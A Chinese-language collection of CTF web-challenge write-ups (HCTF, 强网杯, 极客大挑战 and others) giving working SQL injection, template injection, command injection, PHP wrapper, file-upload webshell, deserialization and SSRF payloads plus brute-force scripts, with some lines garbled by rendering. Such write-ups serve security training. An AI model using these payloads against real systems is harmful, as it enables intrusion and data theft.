文章目录
- [HCTF 2018]WarmUp
- [强网杯 2019]随便注
- [SUCTF 2019]EasySQL
- [护网杯 2018]easy_tornado
- [极客大挑战 2019]EasySQL
- [RoarCTF 2019]Easy Calc
- [HCTF 2018]admin
- [极客大挑战 2019]Havefun
- [极客大挑战 2019]Secret File
- [SUCTF 2019]CheckIn
- [极客大挑战 2019]LoveSQL
- [极客大挑战 2019]PHP
- [强网杯 2019]高明的黑客
- [极客大挑战 2019]Knife
- [极客大挑战 2019]Http
- CISCN2019 华北赛区 Day2 Web1]Hack World
- [GXYCTF2019]Ping Ping Ping
- [网鼎杯 2018]Fakebook
- [ACTF2020 新生赛]Include
- [ACTF2020 新生赛]Exec
- [极客大挑战 2019]BabySQL
- [极客大挑战 2019]BuyFlag
- [ZJCTF 2019]NiZhuanSiWei
[HCTF 2018]WarmUp
hint.php中给了flag的位置:
flag not here, and flag in ffffllllaaaagggg
checkFile()会截取到第一个问号:
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
source.php?/会被当作目录,之后回溯目录就好了(linux)
/source.php?file=source.php?/…/…/…/…/…/…/…/ffffllllaaaagggg
[强网杯 2019]随便注
过滤了select 但是可以用堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。
0';show databases;#
0';show tables;# (有两个表1919810931114514,words)
0';show columns from `1919810931114514`;#(保留字,全数字为表名的表操作时要加反引号)
对于这个值的处理有三种方法
一:利用PREPARE STATEMENT
1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");PRepare+hello+from+@a;execute+hello;#
PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
这里有个过滤strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”) 可用大小写绕过,空格用+代替
https://blog.csdn.net/weixin_37839711/article/details/81562550
二:利用handler代替select
1';handler `1919810931114514`open; handler `1919810931114514` read first;
三:修改flag所在表的表名为words。(输入1,2等所查的就是words)
把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再看一下表,表名已经修改成功了
再输入1’ or 1=1# 得到flag
[SUCTF 2019]EasySQL
过滤了很多关键字(union,if,sleep,extractvalue,等),被过滤会显示Nonono,感觉无法盲注,联合注入,报错啥的,不过可以堆叠注入
题目显示会验证你的flag是否正确
题目后面的查询语句大致为select $_GET['query'] || flag from flag
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期:*,1
查询语句就成了select *,1||flag from Flag
[护网杯 2018]easy_tornado
/welcome.txt
render
/flag.txt
flag in /fllllllllllllag
/hints.txt
md5(cookie_secret+md5(filename))
hints.txt 的url为/file?filename=/hints.txt&filehash=f568f0a9d82f146575451b511dfbccea
如要读取/fllllllllllllag,我们需要得到cookie_secret,然后算出filehash
错误时url为 /error?msg=Error
再结合render和tornado 可能存在模板注入
有过滤
但当前的RequestHandler对象是handler,使用handler.setting可以访问setting进而得到secret_cookie
/error?msg={{handler.settings}}
<?php
echo md5('0196a519-c982-4f84-a2f6-8bc9fb947312'.md5('/fllllllllllllag'));
把算出来的丢到filehash再改下filename提交就行
[极客大挑战 2019]EasySQL
根据回显应该是password那有个注入
/check.php?username=admin&password=q2'+or+1=1%23
/check.php?username=admin&password=q2'+or+'1'='1
直接万能密码就能打
[RoarCTF 2019]Easy Calc
访问/calc.php 有源码
eval()把字符串当成 PHP 代码执行
直接?num 会被waf拦截
利用PHP的解析漏洞
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
?num变成? Num 加个空格
至于黑名单过滤引号无法用参数,用无参rec的思路
/calc.php?%20num=var_dump(scandir(chr(47)))
或者/calc.php?%20num=print_r(scandir(end(getallheaders())));
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
或者/calc.php?%20num=print_r(show_source(end(getallheaders())));
[HCTF 2018]admin
有登陆注册功能,先注册一个看看(注册时发现已有admin用户),注册后有修改密码功能,抓包看一下
且源码有提示
下载源代码审计,剩下的请看(讲的很细致,懒得再写一遍了)
https://blog.csdn.net/weixin_44677409/article/details/100733581
大致就是
解法一:flask session伪造
flask仅仅对数据进行了签名,并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的
利用里面的脚本https://github.com/noraj/flask-session-cookie-manager
解密session,再根据源代码中的SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
加密伪造admin用户 session,然后修改密码。
解法二:Unicode欺骗
登录,注册,修改密码时都会进行name = strlower(form.username.data) 操作
使用nodeprep.prepare函数转换时过程如下:
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
所以注册ᴬᴰᴹᴵᴺ,登录后变成ADMIN,修改密码时经过处理变成admin,即可成功修改admin密码
解法三:条件竞争
[极客大挑战 2019]Havefun
/?cat=123456 没变化
/?cat=dog 就出flag了
[极客大挑战 2019]Secret File
查看源码访问/action.php 记得抓包不然会直接跳转到end.php
伪协议直接打
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
然后解码即可
[SUCTF 2019]CheckIn
只能上传图片
继续测试回显:<? in contents!,文件内容不能包含<?
存在文件头过滤,需要添加图片文件的文件头(exif_imagetype函数判断)
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
• JPG :FF D8 FF E0 00 10 4A 46 49 46
• GIF(相当于文本的GIF89a):47 49 46 38 39 61
• PNG: 89 50 4E 47
-> 文件的内容不能包含<?,但可以上传<script language='php'><scirpt>
类型的图片马来绕过
利用条件条件:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含
.user.ini: nginx/apache/IIS
.htaccess : apache
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
利用上传.user.ini中的 auto_prepend_file来包含图片马RCE
依次上传即可
访问/uploads/48cd8b43081896fbd0931d204f947663/(上传成功后给的路径)得到flag
[极客大挑战 2019]LoveSQL
万能密码直接打
查不出来明文
走一遍SQL注入流程就行,最后
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
[极客大挑战 2019]PHP
提示有备份文件 /www.zip下载 进行代码审计
反序列化漏洞绕过__wakeup
脚本
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo urlencode(serialize($a));?>
改一下属性个数 大于原来的就行
?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}
如果不进行url编码%00对应的不可打印字符在复制时丢失
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
[强网杯 2019]高明的黑客
/www.tar.gz 下载源码
代码很杂乱无法阅读,但有eval,assert,system这些函数,且有get和post请求,但上面的if表达式大多是不正确无法使用的,也就是要通过编写python脚本找出能用的页面和参数
Glzjin大佬的py3脚本
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
session = requests.Session()
path = "/Users/jinzhao/PhpstormProjects/qwb/web2/" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称
mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)
def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line
# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1
params[var] = 'echo("glzjin");'
# print(var)
start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1
data[var] = 'echo("glzjin");'
# print(var)
# eval test
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# assert test
for i in params:
params[i] = params[i][:-1]
for i in data:
data[i] = data[i][:-1]
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# system test
for i in params:
params[i] = 'echo glzjin'
for i in data:
data[i] = 'echo glzjin'
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# print("====================")
for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)
pool.submit(read_file, file)
/xk0SzyKwfzw.php?Efa5BVG=cat /flag
[极客大挑战 2019]Knife
直接菜刀连接 或者post提交Syc=cat /flag
[极客大挑战 2019]Http
根据提示一步步添加或修改请求头就行
CISCN2019 华北赛区 Day2 Web1]Hack World
Fuzz一下看看过滤的关键字,可以用异或注入
import requests
import string
url = "http://42beba34-4ae7-428a-8dc4-220dd9a08283.node3.buuoj.cn/index.php"
def exp():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
print(str1)
flag = ''
for j in range(1,50):
for i in str1:
paylaod = "0^(ascii(substr((select(flag)from(flag)),{0},1))>ascii('{1}'))".format(j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Error' in r.text:
flag += i
print(flag)
break
if __name__ == '__main__':
exp()
[GXYCTF2019]Ping Ping Ping
?ip=127.0.0.1;ls
不能有空格
用$IFS
9
代
替
空
格
?
i
p
=
127.0.0.1
;
c
a
t
9代替空格 ?ip=127.0.0.1;cat
9代替空格?ip=127.0.0.1;catIFS$9flag.php
不能有flag字符,先查看index源码
?ip=127.0.0.1;a=g;cat$IFS
9
f
l
a
9fla
9flaa.php 用变量绕过
[网鼎杯 2018]Fakebook
考虑为sql注入或者ssrf
Robots.txt 提示源码泄露 /user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面
应该是php反序列化和ssrf
/view.php?no=1
这有个sql注入 然后用生成序列化字符串
生成脚本:
<?php
class UserInfo
{
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
print(serialize($a));
?>
利用这个注入打进去
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
显位在博客地址处
点开这个就有flag了
在注册的时候直接设置地址为file:///var/www/html/flag.php是不行的毕竟源码中有限制
[ACTF2020 新生赛]Include
?file=php://filter/read=convert.base64-encode/resource=index.php
直接读源码
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
过滤的一些伪协议,直接读flag.php就行
?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
就是dvwa那个low级别
127.0.0.1||cat /flag
[极客大挑战 2019]BabySQL
万能密码直接打 1’ || 1=1#
没卵用 没flag
老老实实注入,双写绕过就行
1’ ununionion seselectlect 1,2,3#
1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata)#
1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"#
1' ununionion seselectlect 1,2, group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"#
whwhereere table_schema="ctf"#
1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
[极客大挑战 2019]BuyFlag
访问/pay.php f12看源码
passward是数字但前面有个判断不能为数字
php弱等于绕过 404c
也可以用php中的is_numeric()漏洞
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断
修改user=1
money直接输数值会nember lenth is too long
用科学计数法绕过
或者用数组password=404c&money[]=1
php strcmp()漏洞
[ZJCTF 2019]NiZhuanSiWei
这里由于要满足(file_get_contents($text,‘r’)===“welcome to the zjctf” 但并没有一个文件内容为welcome to the zjctf,所以我们直接用伪协议写一个
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
$password用了反序列化处理,这里限制file不能有flag,那就先读一下useless.php源码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
用这里的file_get_contents就没有不能含flag字符的限制了
Exp:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
print(serialize($a));
?>
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}